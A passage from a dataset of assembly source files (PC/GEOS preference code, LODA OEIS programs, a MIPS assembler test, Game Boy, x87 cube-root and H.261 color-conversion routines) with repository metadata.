] | null | null | null | Library/Pref/configui/prefMinuteValue.asm | NCommander/pcgeos | 0d0a2c20425b32589f313861a00b78546c1da46f | [
"Apache-2.0"
] | null | null | null | COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
Copyright (c) GeoWorks 1992 -- All Rights Reserved
PROJECT: PC GEOS
MODULE:
FILE: preflfMinuteValue.asm
AUTHOR: Chris Boyke
ROUTINES:
Name Description
---- -----------
REVISION HISTORY:
Name Date Description
---- ---- -----------
chrisb 1/21/93 Initial version.
DESCRIPTION:
$Id$
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
ConfigUICode segment resource
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefMinuteValueLoadOptions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION:
PASS: *ds:si = PrefMinuteValueClass object
ds:di = PrefMinuteValueClass instance data
es = Segment of PrefMinuteValueClass.
ss:bp = GenOptionsParams
RETURN:
DESTROYED: ax,cx,dx,bp
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
Load from .INI file, convert from seconds to minutes
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 4/21/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefMinuteValueLoadOptions method dynamic PrefMinuteValueClass,
MSG_GEN_LOAD_OPTIONS
.enter
push ds, si
mov cx, ss
mov ds, cx
lea si, ss:[bp].GOP_category
lea dx, ss:[bp].GOP_key
call InitFileReadInteger
pop ds, si
jc done
; convert seconds to minutes
mov bl, 60
div bl
mov cx, ax
mov ax, MSG_PREF_VALUE_SET_ORIGINAL_VALUE
clr bp ; XXX: LOOK IN VARDATA FOR THIS
call ObjCallInstanceNoLock
done:
.leave
ret
PrefMinuteValueLoadOptions endm
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
PrefMinuteValueSaveOptions
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
DESCRIPTION: Save options
PASS: *ds:si = PrefMinuteValueClass object
ds:di = PrefMinuteValueClass instance data
es = Segment of PrefMinuteValueClass.
ss:bp = GenOptionsParams
RETURN:
DESTROYED: nothing
REGISTER/STACK USAGE:
PSEUDO CODE/STRATEGY:
KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS:
REVISION HISTORY:
Name Date Description
---- ---- -----------
CDB 4/21/92 Initial version.
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@
PrefMinuteValueSaveOptions method dynamic PrefMinuteValueClass,
MSG_GEN_SAVE_OPTIONS
.enter
; Convert minutes to seconds
push bp
mov ax, MSG_GEN_VALUE_GET_VALUE
call ObjCallInstanceNoLock
pop bp
mov ax, dx ; use integer part
mov bl, 60
mul bl
mov cx, ss
mov ds, cx
lea si, ss:[bp].GOP_category
lea dx, ss:[bp].GOP_key
mov_tr bp, ax ; value to write
call InitFileWriteInteger
.leave
ret
PrefMinuteValueSaveOptions endm
ConfigUICode ends
| 20.034247 | 71 | 0.551111 |
6cea695c84bd9dac5a549e22ac6d91e9c46f1d3a | 411 | asm | Assembly | oeis/081/A081652.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/081/A081652.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/081/A081652.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A081652: Greatest common divisor of n and sum of decimal digits of n-th prime.
; Submitted by Jamie Morken(w1)
; 1,1,1,1,1,2,1,2,1,1,1,2,1,7,1,8,1,1,1,4,1,2,1,1,1,2,1,4,1,5,1,1,11,1,7,1,1,2,1,1,1,2,1,1,1,1,1,1,1,1,1,2,1,2,1,1,1,2,1,1,1,2,1,1,1,11,1,1,1,2,1,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,8,1,1,1,4,1,2,1,8,1,2,1,10
mov $2,$0
seq $0,7605 ; Sum of digits of n-th prime.
mov $1,$0
add $2,1
gcd $1,$2
mov $0,$1
| 37.363636 | 204 | 0.591241 |
b08f516e9047beed8a1cc84e1d78b3160bb7f006 | 2,819 | asm | Assembly | Lab1/Linux/my1.asm | dendenxu/CompOrga | edce061dea18098660b4bdbea4a0d27548998a52 | [
"MIT"
] | null | null | null | Lab1/Linux/my1.asm | dendenxu/CompOrga | edce061dea18098660b4bdbea4a0d27548998a52 | [
"MIT"
] | null | null | null | Lab1/Linux/my1.asm | dendenxu/CompOrga | edce061dea18098660b4bdbea4a0d27548998a52 | [
"MIT"
] | null | null | null | # Implemented comment character '#' for marker in the asm file
# When '#' is encountered, the entire line will be ignored
# Tester for irregular input, like trailing space or space every where
add $s0,$s1,$s2
add $s0, $s1, $s2
add $s0, $s1, $s2
add $s0, $s1, $s2
add $s0, $s1, $s2
add $s0, $s1, $s2
lw $t0, 100( $t2 )
lw $t0, 100( $t2 )
lw $t0, 100( $t2 )
lb $t0, 100( $t2 )
sw $t0, 100( $t2 )
lb $t0, 100( $t2 )
sb $t0, 100( $t2 )
jr $ra
jr $ra
jr $ra
j 10000
jal 100
addi $v0, $v1, 10000 # This is some inline comment, please ignore me
sll $t1, $t2, 10
srl $t1, $t2, 10
# Implemented comment for marker in the asm file
# The following is some error case we've implemented
# You can uncomment some of them to test the result
# Extra comma
# add $s0, $s1, $s2,
# add $s0, $s1,, $s2
# Unrecognized instruction
# abc $s0, $s1, $s2
# Unrecognized register
# add $abc,$s1, $s2
# Wrong syntax
# add $v0, $v1, $zero,
# add $v0, $v1
# add $v0, $v1, 100
# add 100, $v0, $v1
#
# andi $t9, $gp, 100,
# andi $t9, $gp,
# andi $t9, $gp, $s0
# andi $t9, 100
# andi 100, $t1
#
# sw $v0, 10($v1
# sw $v0, 10$v1)
# sw $v0, 10($v1),
# sw $v0, 10($v1), 10
#
# j 1,
# j $v1
# j ,
# j 1,1
#
# jr $v0,
# jr 0
# jr $v0, 10
# jr $v0, $v1
# All implemented instructions and registers test
add $v0, $v1, $zero
sub $a0, $a1, $a2
and $a3, $t0, $t1
or $t2, $t3, $t4
nor $t5, $t6, $t7
slt $s0, $s1, $s2
add $s3, $s4, $s5
sub $s6, $s7, $t8
and $t9, $gp, $sp
or $fp, $ra, $zero
nor $v0, $v1, $zero
slt $a0, $a1, $a2
add $a3, $t0, $t1
sub $t2, $t3, $t4
and $t5, $t6, $t7
or $s0, $s1, $s2
nor $s0, $s1, $s2
slt $s6, $s7, $t8
add $t9, $gp, $sp
sub $fp, $ra, $zero
and $v0, $v1, $zero
or $a0, $a1, $a2
nor $a3, $t0, $t1
slt $t2, $t3, $t4
andi $t9, $gp, 1
ori $s7, $t8, 1
sll $s5, $s6, 1
srl $s3, $s4, 1
beq $s1, $s2, 1
bne $t7, $s0, 1
addi $t5, $t6, 1
andi $t3, $t4, 10
ori $t1, $t2, 10
sll $a3, $t0, 10
srl $a1, $a2, 10
beq $a0, $zero,10
bne $v0, $v1, 10
addi $ra, $zero,10
andi $sp, $fp, -100
ori $t9, $gp, -100
sll $s7, $t8, -100
srl $s5, $s6, -100
beq $s3, $s4, -100
bne $s1, $s2, -100
addi $t7, $s0, -100
andi $t5, $t6, 1000
ori $t3, $t4, 1000
sll $t1, $t2, 1000
srl $a3, $t0, 1000
beq $a1, $a2, 1000
bne $a0, $zero,1000
addi $v0, $v1, 1000
sw $v0, 10($v1)
lw $a0, 10($zero)
lb $a1, 10($a2)
sb $a3, 10($t0)
sw $t1, 100($t2)
lw $t3, 100($t4)
lb $t5, 100($t6)
sb $t7, 100($s0)
sw $s1, 1000($s2)
lw $s3, 1000($s4)
lb $s5, 1000($s6)
sb $s7, 1000($t8)
sw $t9, 1($gp)
lw $sp, 1($fp)
lb $ra, 1($zero)
sb $v0, 1($v1)
jr $v0
jr $s0
jr $t0
jr $zero
j 1
jal 2
j -3
jal -4
j 500
jal 600
j 1000
jal -1000
| 16.981928 | 71 | 0.518624 |
839111ff361eaeff9ac63e30f1dfd67cb20679ce | 248 | asm | Assembly | feo3boy/tests/fibonacci.asm | zstewar1/feo3boy | cce4428f2f6e2681f62cb72e772ed907367f4f8d | [
"MIT"
] | null | null | null | feo3boy/tests/fibonacci.asm | zstewar1/feo3boy | cce4428f2f6e2681f62cb72e772ed907367f4f8d | [
"MIT"
] | null | null | null | feo3boy/tests/fibonacci.asm | zstewar1/feo3boy | cce4428f2f6e2681f62cb72e772ed907367f4f8d | [
"MIT"
] | 2 | 2020-12-21T14:57:57.000Z | 2021-01-05T16:28:09.000Z | ;; Compute all 8 bit fibonacci numbers.
SECTION "Main", ROM0
Fibonacci:
ld hl, Output
ld a, 0
ld c, 1
.loop:
ld [hli], a
jr c, .overflow
add a, c
ld b, a
ld a, c
ld c, b
jr .loop
.overflow:
halt
SECTION "Output", WRAM0[$C000]
Output:
| 11.272727 | 39 | 0.629032 |
a9ce74f7b3ab32a134230fd34ccf6731fef03fd0 | 2,265 | asm | Assembly | asm/floatingPoint/approxRoot.asm | IronHeart7334/AssemblyPrograms | e5b0649d2a1eb69bb5632c8219187d72fd69d057 | [
"MIT"
] | null | null | null | asm/floatingPoint/approxRoot.asm | IronHeart7334/AssemblyPrograms | e5b0649d2a1eb69bb5632c8219187d72fd69d057 | [
"MIT"
] | null | null | null | asm/floatingPoint/approxRoot.asm | IronHeart7334/AssemblyPrograms | e5b0649d2a1eb69bb5632c8219187d72fd69d057 | [
"MIT"
] | null | null | null | ; general comments
; This algorithm approximates the cube root of a real number x:
; root := 1.0
; until ( |root - oldRoot| < smallValue ) loop
; oldRoot := root
; root := (2.0*root + x/(root*root)) / 3.0
; end until
; Write a console32 Assembly Language program to approximate the cube root of a real number.
; preprocessor directives
.586
.MODEL FLAT
; external files to link with
; stack configuration
.STACK 4096
; named memory allocation and initialization
.DATA
root REAL4 1.0
oldRoot REAL4 0.0
_x REAL4 3.12
smallValue REAL4 0.0001
three REAL4 3.0
; names of procedures defined in other *.asm files in the project
; procedure code
.CODE
main PROC
checkLoopCondition: ; ST(0) | ST(1)
finit ; ~~~ ~~~
fld root ; root ~~~
fld oldRoot ; oldRoot root
fsub ; root - oldRoot ~~~
fabs ; | root - oldRoot | ~~~
fld smallValue ; smallValue | root - oldRoot |
fcom
fstsw AX
sahf
ja endLoop ; checks if smallValue > | root - oldRoot |
loopBody: ; ignore the values currently in ST(0) and ST(1)
; Instruction | ST(0) | ST(1) | ST(2)
fld root ; root | ~~~ | ~~~
fst oldRoot ; root | ~~~ | ~~~
fld root ; root | root | ~~~
fmul ; root^2 | ~~~ | ~~~
fld _x ; x | root^2 | ~~~
fdivr ; x/(root^2) | ~~~ | ~~~
fld root ; root | x/(root^2) | ~~~
fld root ; root | root | x/(root^2)
fadd ; 2*root | x/(root^2) | ~~~
fadd ; 2*root + x/(root^2) | ~~~ | ~~~
fld three ; 3.0 | 2*root + x/(root^2) | ~~~
fdiv ; (2*root + x/(root^2)) / 3 | ~~~ | ~~~
fstp root ; ~~~ | ~~~ | ~~~
jmp checkLoopCondition
endLoop:
; done
mov EAX, 0
ret
main ENDP
END
| 33.80597 | 92 | 0.425166 |
986c932c1efbb6fa814259c764454935b8070faf | 17,452 | asm | Assembly | enduser/netmeeting/av/codecs/intel/h261/i386/cx51282.asm | npocmaka/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 17 | 2020-11-13T13:42:52.000Z | 2021-09-16T09:13:13.000Z | enduser/netmeeting/av/codecs/intel/h261/i386/cx51282.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 2 | 2020-10-19T08:02:06.000Z | 2020-10-19T08:23:18.000Z | enduser/netmeeting/av/codecs/intel/h261/i386/cx51282.asm | sancho1952007/Windows-Server-2003 | 5c6fe3db626b63a384230a1aa6b92ac416b0765f | [
"Unlicense"
] | 14 | 2020-11-14T09:43:20.000Z | 2021-08-28T08:59:57.000Z | ;*************************************************************************
;** INTEL Corporation Proprietary Information
;**
;** This listing is supplied under the terms of a license
;** agreement with INTEL Corporation and may not be copied
;** nor disclosed except in accordance with the terms of
;** that agreement.
;**
;** Copyright (c) 1995 Intel Corporation.
;** All Rights Reserved.
;**
;*************************************************************************
;//
;// $Header: S:\h26x\src\dec\cx51282.asv
;//
;// $Log: S:\h26x\src\dec\cx51282.asv $
;//
;// Rev 1.6 18 Mar 1996 09:58:42 bnickers
;// Make color convertors non-destructive.
;//
;// Rev 1.5 05 Feb 1996 13:35:38 BNICKERS
;// Fix RGB16 color flash problem, by allowing different RGB16 formats at oce.
;//
;// Rev 1.4 16 Jan 1996 11:23:08 BNICKERS
;// Fix starting point in output stream, so we don't start at line two and
;// write off the end of the output frame.
;//
;// Rev 1.3 22 Dec 1995 15:53:50 KMILLS
;// added new copyright notice
;//
;// Rev 1.2 03 Nov 1995 14:39:42 BNICKERS
;// Support YUV12 to CLUT8 zoom by 2.
;//
;// Rev 1.1 26 Oct 1995 09:46:10 BNICKERS
;// Reduce the number of blanks in the "proc" statement because the assembler
;// sometimes has problems with statements longer than 512 characters long.
;//
;// Rev 1.0 25 Oct 1995 17:59:22 BNICKERS
;// Initial revision.
;//
;////////////////////////////////////////////////////////////////////////////
; +---------- Color convertor.
; |+--------- For both H261 and H263.
; ||+-------- Version for the Pentium Microprocessor.
; |||++------ Convert from YUV12.
; |||||+----- Convert to CLUT8.
; ||||||+---- Zoom by two.
; |||||||
; cx51282 -- This function performs YUV12 to CLUT8 zoom-by-2 color conversion
; for H26x. It is tuned for best performance on the Pentium(r)
; Microprocessor. It dithers among 9 chroma points and 26 luma
; points, mapping the 8 bit luma pels into the 26 luma points by
; clamping the ends and stepping the luma by 8.
;
; The color convertor is non-destructive; the input Y, U, and V
; planes will not be clobbered.
OPTION PROLOGUE:None
OPTION EPILOGUE:ReturnAndRelieveEpilogueMacro
include locals.inc
include ccinst.inc
include decconst.inc
.xlist
include memmodel.inc
.list
.DATA
; any data would go here
.CODE
ASSUME cs : FLAT
ASSUME ds : FLAT
ASSUME es : FLAT
ASSUME fs : FLAT
ASSUME gs : FLAT
ASSUME ss : FLAT
; void FAR ASM_CALLTYPE YUV12ToCLUT8ZoomBy2 (U8 * YPlane,
; U8 * VPlane,
; U8 * UPlane,
; UN FrameWidth,
; UN FrameHeight,
; UN YPitch,
; UN VPitch,
; UN AspectAdjustmentCount,
; U8 * ColorConvertedFrame,
; U32 DCIOffset,
; U32 CCOffsetToLine0,
; IN CCOPitch,
; IN CCType)
;
; CCOffsetToLine0 is relative to ColorConvertedFrame.
;
PUBLIC YUV12ToCLUT8ZoomBy2
; due to the need for the ebp reg, these parameter declarations aren't used,
; they are here so the assembler knows how many bytes to relieve from the stack
YUV12ToCLUT8ZoomBy2 proc DIST LANG AYPlane: DWORD,
AVPlane: DWORD,
AUPlane: DWORD,
AFrameWidth: DWORD,
AFrameHeight: DWORD,
AYPitch: DWORD,
AVPitch: DWORD,
AAspectAdjustmentCnt: DWORD,
AColorConvertedFrame: DWORD,
ADCIOffset: DWORD,
ACCOffsetToLine0: DWORD,
ACCOPitch: DWORD,
ACCType: DWORD
LocalFrameSize = 64+768*2+4
RegisterStorageSize = 16
; Arguments:
YPlane_arg = RegisterStorageSize + 4
VPlane_arg = RegisterStorageSize + 8
UPlane_arg = RegisterStorageSize + 12
FrameWidth_arg = RegisterStorageSize + 16
FrameHeight = RegisterStorageSize + 20
YPitch_arg = RegisterStorageSize + 24
ChromaPitch_arg = RegisterStorageSize + 28
AspectAdjustmentCount_arg = RegisterStorageSize + 32
ColorConvertedFrame = RegisterStorageSize + 36
DCIOffset = RegisterStorageSize + 40
CCOffsetToLine0 = RegisterStorageSize + 44
CCOPitch_arg = RegisterStorageSize + 48
CCType_arg = RegisterStorageSize + 52
EndOfArgList = RegisterStorageSize + 56
; Locals (on local stack frame)
CCOCursor EQU [esp+ 0]
ChromaLineLen EQU [esp+ 4]
YLimit EQU [esp+ 8]
YCursor EQU [esp+12]
VCursor EQU [esp+16]
DistanceFromVToU EQU [esp+20]
EndOfChromaLine EQU [esp+24]
AspectCount EQU [esp+28]
FrameWidth EQU [esp+32]
ChromaPitch EQU [esp+36]
AspectAdjustmentCount EQU [esp+40]
LumaPitch EQU [esp+44]
CCOPitch EQU [esp+48]
StashESP EQU [esp+52]
ChromaContribution EQU [esp+64]
push esi
push edi
push ebp
push ebx
mov edi,esp
sub esp,LocalFrameSize
and esp,0FFFFF800H
mov eax,[edi+FrameWidth_arg]
mov ebx,[edi+ChromaPitch_arg]
mov ecx,[edi+AspectAdjustmentCount_arg]
mov edx,[edi+YPitch_arg]
mov esi,[edi+CCOPitch_arg]
mov FrameWidth,eax
mov ChromaPitch,ebx
mov AspectAdjustmentCount,ecx
mov AspectCount,ecx
mov LumaPitch,edx
mov CCOPitch,esi
mov ebx,[edi+VPlane_arg]
mov ecx,[edi+UPlane_arg]
mov eax,[edi+YPlane_arg]
sub ecx,ebx
mov DistanceFromVToU,ecx
mov VCursor,ebx
mov YCursor,eax
mov eax,[edi+ColorConvertedFrame]
add eax,[edi+DCIOffset]
add eax,[edi+CCOffsetToLine0]
mov CCOCursor,eax
mov StashESP,edi
mov edx,[edi+FrameHeight]
mov ecx,LumaPitch
imul edx,ecx
mov ebx,FrameWidth
mov esi,YCursor ; Fetch cursor over luma plane.
sar ebx,1
add edx,esi
mov ChromaLineLen,ebx
mov YLimit,edx
NextTwoLines:
; Convert line of U and V pels to the corresponding UVDitherPattern Indices.
;
; Register Usage
;
; edi -- Cursor over V line
; esi -- Cursor over storage to hold preprocessed UV.
; ebp -- Distance from V line to U line.
; edx -- UVDitherPattern index: ((V:{0:8}*9) + U:{0:8}) * 2 + 1
; bl -- U pel value
; cl -- V pel value
; eax -- Scratch
mov edi,VCursor ; Fetch address of pel 0 of next line of V.
mov ebp,DistanceFromVToU ; Fetch span from V plane to U plane.
lea esi,ChromaContribution
mov eax,ChromaLineLen
mov edx,ChromaPitch
add eax,edi
mov EndOfChromaLine,eax
add edx,edi
mov bl,[edi] ; Fetch first V pel.
;
and ebx,0FCH ; Reduce to 6 bits.
mov cl,[edi+ebp*1] ; Fetch first U pel.
and ecx,0FCH ; Reduce to 6 bits.
mov VCursor,edx ; Stash for next time around.
@@:
mov edx,PD UVDitherLine01[ebx] ; Fetch dither pattern for V point.
mov bl,[edi+1] ; Fetch next V pel.
mov eax,PD UVDitherLine23[ecx] ; Fetch dither pattern for U point.
mov cl,[edi+ebp*1+1] ; Fetch next U pel.
lea edx,[edx+edx*2+00A0A0A0AH] ; Weight V dither pattern.
and bl,0FCH ; Reduce to 6 bits.
add eax,edx ; Combine dither patterns for U and V.
and cl,0FCH ; Reduce to 6 bits.
mov edx,PD UVDitherLine01[ebx] ; Fetch dither pattern for V point.
mov [esi],eax ; Stash UV corresponding to Y00,Y01,Y10,Y11.
mov eax,PD UVDitherLine23[ecx] ; Fetch dither pattern for U point.
mov bl,[edi+2] ; Fetch next V pel.
lea edx,[edx+edx*2+00A0A0A0AH] ; Weight V dither pattern.
mov cl,[edi+ebp*1+2] ; Fetch next U pel.
add eax,edx ; Combine dither patterns for U and V.
mov edx,EndOfChromaLine ; Fetch EOL address.
mov [esi+4],eax ; Stash UV corresponding to Y02,Y03,Y12,Y13.
add edi,2 ; Advance U plane cursor.
and bl,0FCH ; Reduce to 6 bits.
and cl,0FCH ; Reduce to 6 bits.
add esi,8
sub edx,edi
jne @b
; Now color convert a line of luma.
;
; Register Usage
; edi -- Cursor over line of color converted output frame, minus esi.
; esi -- Cursor over Y line.
; ebp -- Not used.
; edx,eax -- Build output pels.
; ecx,ebx -- Y pels.
mov [esi],edx ; Stash EOL indication.
mov esi,YCursor ; Reload cursor over Y line.
mov edi,CCOCursor ; Fetch output cursor.
mov eax,CCOPitch ; Compute start of next line.
mov bl,[esi+1] ; Fetch Y01.
add eax,edi
mov cl,[esi] ; Fetch Y00.
mov CCOCursor,eax ; Stash start of next line.
mov edx,PD YDitherZ2[ebx*4] ; Fetch < Y01 Y01 Y01 Y01>.
sub edi,esi ; Get span from Y cursor to CCO cursor.
and edx,0FFFF0000H ; Extract < Y01 Y01 ___ ___>.
sub edi,esi
mov eax,PD YDitherZ2[ecx*4] ; Fetch < Y00 Y00 Y00 Y00>.
mov bl,[esi+3] ; Fetch Y03.
and eax,00000FFFFH ; Extract < ___ ___ Y00 Y00>.
mov cl,[esi+2] ; Fetch Y02.
or eax,edx ; < Y01 Y01 Y00 Y00>.
mov edx,ChromaContribution ; Fetch <UV01 UV01 UV00 UV00>.
sub esp,1536
Line0Loop:
add eax,edx ; < P01 P01 P00 P00>.
mov edx,PD YDitherZ2[ebx*4] ; Fetch < Y03 Y03 Y03 Y03>.
mov Ze [edi+esi*2],eax ; Store four pels to color conv output.
add esi,4 ; Advance cursor.
and edx,0FFFF0000H ; Extract < Y03 Y03 ___ ___>.
mov eax,PD YDitherZ2[ecx*4] ; Fetch < Y02 Y02 Y02 Y02>.
and eax,00000FFFFH ; Extract < ___ ___ Y02 Y02>.
mov bl,[esi+1] ; Fetch next Y01.
or eax,edx ; < Y03 Y03 Y02 Y02>.
mov edx,ChromaContribution+1536+4 ; Fetch <UV03 UV03 UV02 UV02>.
add eax,edx ; < P03 P03 P02 P02>.
mov cl,[esi] ; Fetch next Y00.
mov Ze [edi+esi*2+4-8],eax ; Store four pels to color conv output.
mov edx,PD YDitherZ2[ebx*4] ; Fetch < Y01 Y01 Y01 Y01>.
and edx,0FFFF0000H ; Extract < Y01 Y01 ___ ___>.
mov eax,PD YDitherZ2[ecx*4] ; Fetch < Y00 Y00 Y00 Y00>.
and eax,00000FFFFH ; Extract < ___ ___ Y00 Y00>.
mov bl,[esi+3] ; Fetch Y03.
or eax,edx ; < Y01 Y01 Y00 Y00>.
mov edx,ChromaContribution+1536+8 ; Fetch <UV01 UV01 UV00 UV00>.
add esp,8
mov cl,[esi+2] ; Fetch Y02.
test edx,edx
jne Line0Loop
and esp,0FFFFF800H
add esp,0800H
; Color convert same input line, dithering differently.
mov edx,AspectCount
mov edi,CCOCursor ; Fetch output cursor.
sub edx,2
mov eax,CCOPitch ; Compute start of next line.
mov AspectCount,edx
mov esi,YCursor ; Reload cursor over Y line.
mov ebp,AspectAdjustmentCount
jg KeepLine1
add edx,ebp
mov AspectCount,edx
jmp SkipLine1
KeepLine1:
mov bl,[esi+1] ; Fetch Y01.
add eax,edi
mov cl,[esi] ; Fetch Y00.
mov CCOCursor,eax ; Stash start of next line.
mov edx,PD YDitherZ2[ebx*4] ; Fetch < Y01 Y01 Y01 Y01>.
sub edi,esi ; Get span from Y cursor to CCO cursor.
shl edx,16 ; Extract < Y01 Y01 ___ ___>.
sub edi,esi
mov eax,PD YDitherZ2[ecx*4] ; Fetch < Y00 Y00 Y00 Y00>.
mov bl,[esi+3] ; Fetch Y03.
shr eax,16 ; Extract < ___ ___ Y00 Y00>.
mov cl,[esi+2] ; Fetch Y02.
or eax,edx ; < Y01 Y01 Y00 Y00>.
mov edx,ChromaContribution ; Fetch <UV01 UV01 UV00 UV00>.
rol edx,16 ; Swap dither pattern.
sub esp,1536
Line1Loop:
add eax,edx ; < P01 P01 P00 P00>.
mov edx,PD YDitherZ2[ebx*4] ; Fetch < Y03 Y03 Y03 Y03>.
mov Ze [edi+esi*2],eax ; Store four pels to color conv output.
add esi,4 ; Advance cursor.
shl edx,16 ; Extract < Y03 Y03 ___ ___>.
mov eax,PD YDitherZ2[ecx*4] ; Fetch < Y02 Y02 Y02 Y02>.
shr eax,16 ; Extract < ___ ___ Y02 Y02>.
mov bl,[esi+1] ; Fetch next Y01.
or eax,edx ; < Y03 Y03 Y02 Y02>.
mov edx,ChromaContribution+1536+4 ; Fetch <UV03 UV03 UV02 UV02>.
rol edx,16 ; Swap dither pattern.
add esp,8
add eax,edx ; < P03 P03 P02 P02>.
mov cl,[esi] ; Fetch next Y00.
mov Ze [edi+esi*2+4-8],eax ; Store four pels to color conv output.
mov edx,PD YDitherZ2[ebx*4] ; Fetch < Y01 Y01 Y01 Y01>.
shl edx,16 ; Extract < Y01 Y01 ___ ___>.
mov eax,PD YDitherZ2[ecx*4] ; Fetch < Y00 Y00 Y00 Y00>.
shr eax,16 ; Extract < ___ ___ Y00 Y00>.
mov bl,[esi+3] ; Fetch Y03.
or eax,edx ; < Y01 Y01 Y00 Y00>.
mov edx,ChromaContribution+1536 ; Fetch <UV01 UV01 UV00 UV00>.
rol edx,16 ; Swap dither pattern.
mov cl,[esi+2] ; Fetch Y02.
test edx,edx
jne Line1Loop
and esp,0FFFFF800H
add esp,0800H
SkipLine1:
; Now color convert the second input line of luma.
mov esi,YCursor
mov ebp,LumaPitch
mov edi,CCOCursor
mov eax,CCOPitch
mov bl,[esi+ebp*1]
add eax,edi
mov cl,[esi+ebp*1+1]
mov CCOCursor,eax
mov edx,PD YDitherZ2[ebx*4]
sub edi,esi
shl edx,16
sub edi,esi
mov eax,PD YDitherZ2[ecx*4]
mov bl,[esi+ebp*1+2]
shr eax,16
mov cl,[esi+ebp*1+3]
or eax,edx
mov edx,ChromaContribution
rol edx,16
sub esp,1536
Line2Loop:
add eax,edx
mov edx,PD YDitherZ2[ebx*4]
bswap eax
mov Ze [edi+esi*2],eax
add esi,4
shl edx,16
mov eax,PD YDitherZ2[ecx*4]
shr eax,16
mov bl,[esi+ebp*1]
or eax,edx
mov edx,ChromaContribution+1536+4
rol edx,16
add esp,8
add eax,edx
mov cl,[esi+ebp*1+1]
bswap eax
mov Ze [edi+esi*2+4-8],eax
mov edx,PD YDitherZ2[ebx*4]
shl edx,16
mov eax,PD YDitherZ2[ecx*4]
shr eax,16
mov bl,[esi+ebp*1+2]
or eax,edx
mov edx,ChromaContribution+1536
rol edx,16
mov cl,[esi+ebp*1+3]
test edx,edx
jne Line2Loop
and esp,0FFFFF800H
add esp,0800H
; Color convert same input line, dithering differently.
mov esi,YCursor
mov edx,AspectCount
mov edi,CCOCursor
sub edx,2
lea eax,[esi+ebp*2]
mov AspectCount,edx
mov YCursor,eax
jg KeepLine3
add edx,AspectAdjustmentCount
mov AspectCount,edx
jmp SkipLine3
KeepLine3:
mov bl,[esi+ebp*1]
mov eax,CCOPitch
add eax,edi
mov cl,[esi+ebp*1+1]
mov CCOCursor,eax
mov edx,PD YDitherZ2[ebx*4]
sub edi,esi
mov eax,PD YDitherZ2[ecx*4]
and edx,0FFFF0000H
sub edi,esi
mov bl,[esi+ebp*1+2]
and eax,00000FFFFH
mov cl,[esi+ebp*1+3]
or eax,edx
mov edx,ChromaContribution
sub esp,1536
Line3Loop:
add eax,edx
mov edx,PD YDitherZ2[ebx*4]
bswap eax
mov Ze [edi+esi*2],eax
add esi,4
and edx,0FFFF0000H
mov eax,PD YDitherZ2[ecx*4]
and eax,00000FFFFH
mov bl,[esi+ebp*1]
or eax,edx
mov edx,ChromaContribution+1536+4
add eax,edx
mov cl,[esi+ebp*1+1]
bswap eax
mov Ze [edi+esi*2+4-8],eax
mov edx,PD YDitherZ2[ebx*4]
and edx,0FFFF0000H
mov eax,PD YDitherZ2[ecx*4]
and eax,00000FFFFH
mov bl,[esi+ebp*1+2]
or eax,edx
mov edx,ChromaContribution+1536+8
add esp,8
mov cl,[esi+ebp*1+3]
test edx,edx
jne Line3Loop
and esp,0FFFFF800H
add esp,0800H
SkipLine3:
mov esi,YCursor
mov eax,YLimit
cmp eax,esi
jne NextTwoLines
mov esp,StashESP
pop ebx
pop ebp
pop edi
pop esi
rturn
YUV12ToCLUT8ZoomBy2 endp
END
| 33.626204 | 81 | 0.536214 |
278dc9dcb897eab2842d0d0600c820f84be6c432 | 461 | asm | Assembly | programs/oeis/326/A326790.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/326/A326790.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/326/A326790.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A326790: The rank of the group of functions on the units of Z/nZ generated by the functions f(u) = u*k mod n.
; 0,1,2,2,3,2,4,3,4,3,6,3,7,4,5,5,9,4,10,5,7,6,12,5,11,7,10,7,15,5,16,9,11,9,13,7,19,10,13,9,21,7,22,11,13,12,24,9,22,11,17,13,27,10,21,13,19,15,30,9,31,16,19,17,25,11,34,17,23
mov $2,$0
